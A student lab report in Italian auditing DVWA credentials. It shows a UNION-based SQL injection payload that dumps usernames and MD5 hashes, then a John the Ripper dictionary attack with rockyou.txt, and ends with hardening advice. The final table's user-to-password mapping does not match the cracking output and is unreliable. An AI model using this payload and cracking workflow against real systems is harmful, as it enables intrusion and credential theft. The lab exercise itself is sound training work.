

Analisi della Robustezza delle Credenziali su DVWA

Studente: Kevin Motti

Data: 15 Gennaio 2026

Esercizio: Password Cracking & Hash Analysis

1. Introduzione e Obiettivo

Questo documento riporta l'esito dell'audit di sicurezza incentrato sulle credenziali di accesso dell'applicazione web **DVWA** (Damn Vulnerable Web App). L'obiettivo primario dell'esercitazione è valutare la **robustezza delle password utente** e la **sicurezza dell'algoritmo di archiviazione** utilizzato dal sistema.

Per condurre questa analisi, è stato necessario eseguire un attacco in due fasi:

1. **Acquisizione (Data Exfiltration):** Sfruttamento di una vulnerabilità SQL Injection per estrarre gli hash delle password dal database.
2. **Analisi (Password Cracking):** Attacco offline agli hash esfiltrati per recuperare le credenziali in chiaro e valutarne la complessità.

Configurazione del Laboratorio

- **Macchina Attaccante:** Kali Linux
- **Target:** Database DVWA (MySQL)
- **Strumenti di Cracking:** John the Ripper (JtR) con wordlist rockyou.txt

2. Fase 1: Acquisizione degli Hash (SQL Injection)

Per procedere con l'analisi delle password, è stato preliminarmente necessario ottenere l'accesso alla tabella users del database. È stata individuata una vulnerabilità di tipo SQL Injection nel campo "User ID" che ha permesso l'esfiltrazione dei dati senza autenticazione amministrativa.

Vettore di Attacco

L'iniezione è stata eseguita tramite un payload UNION-BASED per unire i risultati della query legittima con il dump della tabella utenti.

Payload: **1' UNION SELECT user, password FROM users#**

Analisi del Payload: Il carattere ' chiude la query originale, UNION SELECT accoda i risultati della tabella bersaglio, e # commenta il resto della query per evitare errori di sintassi.

Esito dell'Esfiltrazione:

ID: 1'UNION SELECT user, password FROM users#
First name: admin
Surname: admin

ID: 1'UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1'UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1'UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1'UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1'UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

L'applicazione ha restituito l'elenco completo degli utenti e dei relativi hash.

3. Fase 2: Analisi Crittografica e Password Cracking

Questa è la fase centrale dell'attività. Gli hash ottenuti sono stati sottoposti ad analisi per identificare l'algoritmo di cifratura e tentare il recupero delle password in chiaro.

3.1 Identificazione dell'Hash

- **Lunghezza:** 32 caratteri esadecimali.
- **Formato:** [0-9a-f].
- **Salting:** Assenza di salt visibile o separato.

Diagnosi: Queste caratteristiche identificano l'algoritmo come **MD5** (Message Digest 5), obsoleto e vulnerabile.

3.2 Strategia di Attacco (Dictionary Attack)

Considerata l'elevata velocità di calcolo di MD5 e la probabile bassa entropia delle password utente, è stato scelto un **Dictionary Attack** utilizzando la wordlist **rockyou.txt**.

Comando eseguito in kali:

```
$ john --format=RAW-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

3.3 Risultati del Cracking

L'attacco ha avuto un tasso di successo del **100%** in tempi estremamente ridotti (pochi secondi).

```
(kali@kali)-[~]
$ john --format=RAW-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
password      (?)
abc123         (?)
letmein        (?)
charley        (?)
```

Utente	Password Decifrata
admin	password
gordonb	abc123
1337	letmein
pablo	charlie
smithy	password

4. Conclusioni e Valutazione del Rischio

L'audit ha evidenziato gravi carenze nella gestione delle credenziali, rendendo il sistema altamente vulnerabile.

Criticità Rilevate:

- **Algoritmo MD5 Obsoleto:** L'assenza di Salt permette l'uso di Rainbow Tables e attacchi velocissimi.
- **Password Policy Inesistente:** Le password usate (es. "password", "abc123") sono estremamente deboli.
- **Password Reuse:** Utenti diversi condividono le stesse credenziali.

Raccomandazioni di Sicurezza:

- Aggiornare Hashing.
- Passare ad algoritmi moderni come **bcrypt** o **Argon2id**.
- Implementare Salting.
- Usare salt univoci per ogni utente.
- Implementare delle password policy best practices.